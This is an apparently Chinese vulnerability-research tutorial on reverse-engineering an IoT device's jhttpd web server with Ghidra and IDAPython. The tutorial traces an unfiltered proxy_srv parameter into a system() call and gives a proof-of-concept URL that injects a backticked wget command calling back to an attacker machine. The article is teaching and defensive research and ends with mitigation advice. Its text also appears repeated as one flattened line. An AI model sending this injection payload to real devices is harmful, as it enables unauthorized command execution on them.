从jhttpd分析到系统命令注入
字数 1773 2025-08-22 12:23:25

jhttpd分析与系统命令注入漏洞挖掘教学文档

1. 前言

在IoT设备中,常见的WebServer包括httpd、thttpd、Boa以及jhttpd等。对这些WebServer进行白盒审计是发现漏洞的重要途径。本文将以某设备的jhttpd为例,详细讲解从分析到漏洞挖掘及复现的全过程。

2. jhttpd基础分析

2.1 主要函数结构

使用Ghidra逆向分析工具导入jhttpd二进制文件,从main函数开始分析:

  1. 内存管理初始化mem_init_fun()
  2. 服务类型初始化httpd_find_type2_init()
  3. HTTP请求处理初始化
    • httpd_file_init()
    • httpd_file_ext_init()
    • httpd_cgi_ext_init()

2.2 HTTP文件相关初始化

httpd_file_init()函数主要功能:

  • 初始化三个全局哈希表:
    • gl_vfile_ext_hash:文件扩展名哈希表
    • gl_file_hash:文件哈希表
    • gl_cgi_ext_hash:CGI脚本哈希表
  • 初始化httpd_all_file结构体,存储服务器可用文件列表
  • 使用do-while循环遍历处理客户端请求

2.3 服务初始化

httpd_sever_init()函数负责:

  1. 创建TCP套接字(IPv4)
  2. 设置套接字为非阻塞模式(setnonblocking()
  3. 设置SO_REUSEADDR选项(允许立即重用套接字)
  4. 绑定套接字到本地地址和端口(最多重试10次)
  5. 开始监听连接请求
  6. 初始化轮询机制处理HTTP请求

2.4 HTTP请求处理

http_poll()函数处理套接字事件:

  • 接受新连接
  • 读取数据
  • 发送数据
  • 关闭连接

请求处理流程:

  1. GET请求:调用memcmp()比对"GET"字符串,匹配成功后调用httpd_dowith_get()
  2. POST请求:调用memcmp()比对"POST"字符串,匹配成功后调用httpd_do_wwwparm()处理表单数据

3. CGI接口分析

3.1 使用IDAPython提取CGI接口

from idaapi import *

host = "http://127.0.0.2/"

def ReadStr(addr):
    res = ''
    while True:
        ch = get_byte(addr)
        if ch == 0:
            break
        res += chr(ch)
        addr += 1
    return res

class dump(object):
    def __init__(self):
        pass
    
    def http_cgi_all_fun(self):
        print("start")
        httpd_cgi_all_fun_addr = 0x6b0000
        cgi_name = get_32bit(httpd_cgi_all_fun_addr + 3 * 4)
        while httpd_cgi_all_fun_addr < 0x4801000:
            cgi_name = get_32bit(httpd_cgi_all_fun_addr + 3 * 4)
            if cgi_name != 0:
                data = get_bytes(httpd_cgi_all_fun_addr, 0x14)
                data = list(struct.unpack("<" + "I"*5, data))
                data[3] = host + ReadStr(data[3])
                data.append(get_ea_name(data[4]))
                data[4] = hex(data[4])
                print(data)
            httpd_cgi_all_fun_addr += 0x14
        print("end")

dump_obj = dump()
dump_obj.http_cgi_all_fun()

该脚本从内存中提取CGI接口信息,包括:

  • 接口地址
  • 接口名称
  • 处理函数地址
  • 映射路径

4. 命令注入漏洞分析

4.1 漏洞函数分析

通过查找jhl_system()函数调用,发现存在漏洞的函数sub_47EAE8,其主要流程:

  1. 从HTTP请求获取proxy_srv参数:v14 = httpd_get_parm(a1, "proxy_srv")
  2. 设置NVRAM值:nvram_set("proxy_srv", v14)
  3. 构造系统命令:使用snprintf构造proxy_client命令
  4. 执行命令:调用jhl_system()执行构造的命令

关键问题proxy_srv参数未经过滤直接拼接到系统命令中,导致命令注入漏洞。

4.2 漏洞复现

使用FirmAE或QEMU仿真环境进行复现:

POC:

http://192.168.0.1/proxy_client.asp?proxy_srv=111`wget%20http%3a%2f%2f192.168.0.2%3a9999%2f11`&proxy_srvport=2&proxy_srvport=1&proxy_lanip=127.0.0.1&proxy_lanport=8080&proxy_en=1

验证步骤:

  1. 在攻击机器上启动Python Web服务(监听9999端口)
  2. 发送上述POC请求
  3. 观察Web服务是否收到请求,验证命令是否执行

5. 漏洞挖掘方法论总结

  1. 逆向分析流程

    • 从main函数入手,理清程序结构
    • 分析HTTP请求处理流程
    • 识别关键函数(如命令执行函数)
  2. 漏洞挖掘技巧

    • 查找危险函数调用(system、exec等)
    • 跟踪用户输入流向
    • 分析参数过滤情况
  3. 自动化辅助

    • 使用IDAPython脚本提取接口信息
    • 批量分析危险函数调用
  4. 验证方法

    • 搭建仿真环境(FirmAE/QEMU)
    • 构造POC验证漏洞
    • 通过外部观察点确认漏洞存在

6. 防御建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用白名单机制限制允许的字符
  2. 安全函数

    • 避免直接使用system等危险函数
    • 使用execve等更安全的替代方案
  3. 权限控制

    • Web服务以低权限运行
    • 限制Web服务可执行的命令
  4. 代码审计

    • 定期进行安全审计
    • 重点关注用户输入与系统命令的交互点

通过本教学文档,读者可以掌握从IoT设备WebServer逆向分析到命令注入漏洞挖掘的完整流程,以及相关的工具使用和验证方法。

jhttpd分析与系统命令注入漏洞挖掘教学文档 1. 前言 在IoT设备中,常见的WebServer包括httpd、thttpd、Boa以及jhttpd等。对这些WebServer进行白盒审计是发现漏洞的重要途径。本文将以某设备的jhttpd为例,详细讲解从分析到漏洞挖掘及复现的全过程。 2. jhttpd基础分析 2.1 主要函数结构 使用Ghidra逆向分析工具导入jhttpd二进制文件,从main函数开始分析: 内存管理初始化 : mem_init_fun() 服务类型初始化 : httpd_find_type2_init() HTTP请求处理初始化 : httpd_file_init() httpd_file_ext_init() httpd_cgi_ext_init() 2.2 HTTP文件相关初始化 httpd_file_init() 函数主要功能: 初始化三个全局哈希表: gl_vfile_ext_hash :文件扩展名哈希表 gl_file_hash :文件哈希表 gl_cgi_ext_hash :CGI脚本哈希表 初始化 httpd_all_file 结构体,存储服务器可用文件列表 使用do-while循环遍历处理客户端请求 2.3 服务初始化 httpd_sever_init() 函数负责: 创建TCP套接字(IPv4) 设置套接字为非阻塞模式( setnonblocking() ) 设置SO_ REUSEADDR选项(允许立即重用套接字) 绑定套接字到本地地址和端口(最多重试10次) 开始监听连接请求 初始化轮询机制处理HTTP请求 2.4 HTTP请求处理 http_poll() 函数处理套接字事件: 接受新连接 读取数据 发送数据 关闭连接 请求处理流程: GET请求 :调用 memcmp() 比对"GET"字符串,匹配成功后调用 httpd_dowith_get() POST请求 :调用 memcmp() 比对"POST"字符串,匹配成功后调用 httpd_do_wwwparm() 处理表单数据 3. CGI接口分析 3.1 使用IDAPython提取CGI接口 该脚本从内存中提取CGI接口信息,包括: 接口地址 接口名称 处理函数地址 映射路径 4. 命令注入漏洞分析 4.1 漏洞函数分析 通过查找 jhl_system() 函数调用,发现存在漏洞的函数 sub_47EAE8 ,其主要流程: 从HTTP请求获取 proxy_srv 参数: v14 = httpd_get_parm(a1, "proxy_srv") 设置NVRAM值: nvram_set("proxy_srv", v14) 构造系统命令:使用 snprintf 构造 proxy_client 命令 执行命令:调用 jhl_system() 执行构造的命令 关键问题 : proxy_srv 参数未经过滤直接拼接到系统命令中,导致命令注入漏洞。 4.2 漏洞复现 使用FirmAE或QEMU仿真环境进行复现: POC: 验证步骤: 在攻击机器上启动Python Web服务(监听9999端口) 发送上述POC请求 观察Web服务是否收到请求,验证命令是否执行 5. 漏洞挖掘方法论总结 逆向分析流程 : 从main函数入手,理清程序结构 分析HTTP请求处理流程 识别关键函数(如命令执行函数) 漏洞挖掘技巧 : 查找危险函数调用(system、exec等) 跟踪用户输入流向 分析参数过滤情况 自动化辅助 : 使用IDAPython脚本提取接口信息 批量分析危险函数调用 验证方法 : 搭建仿真环境(FirmAE/QEMU) 构造POC验证漏洞 通过外部观察点确认漏洞存在 6. 防御建议 输入验证 : 对所有用户输入进行严格过滤 使用白名单机制限制允许的字符 安全函数 : 避免直接使用system等危险函数 使用execve等更安全的替代方案 权限控制 : Web服务以低权限运行 限制Web服务可执行的命令 代码审计 : 定期进行安全审计 重点关注用户输入与系统命令的交互点 通过本教学文档,读者可以掌握从IoT设备WebServer逆向分析到命令注入漏洞挖掘的完整流程,以及相关的工具使用和验证方法。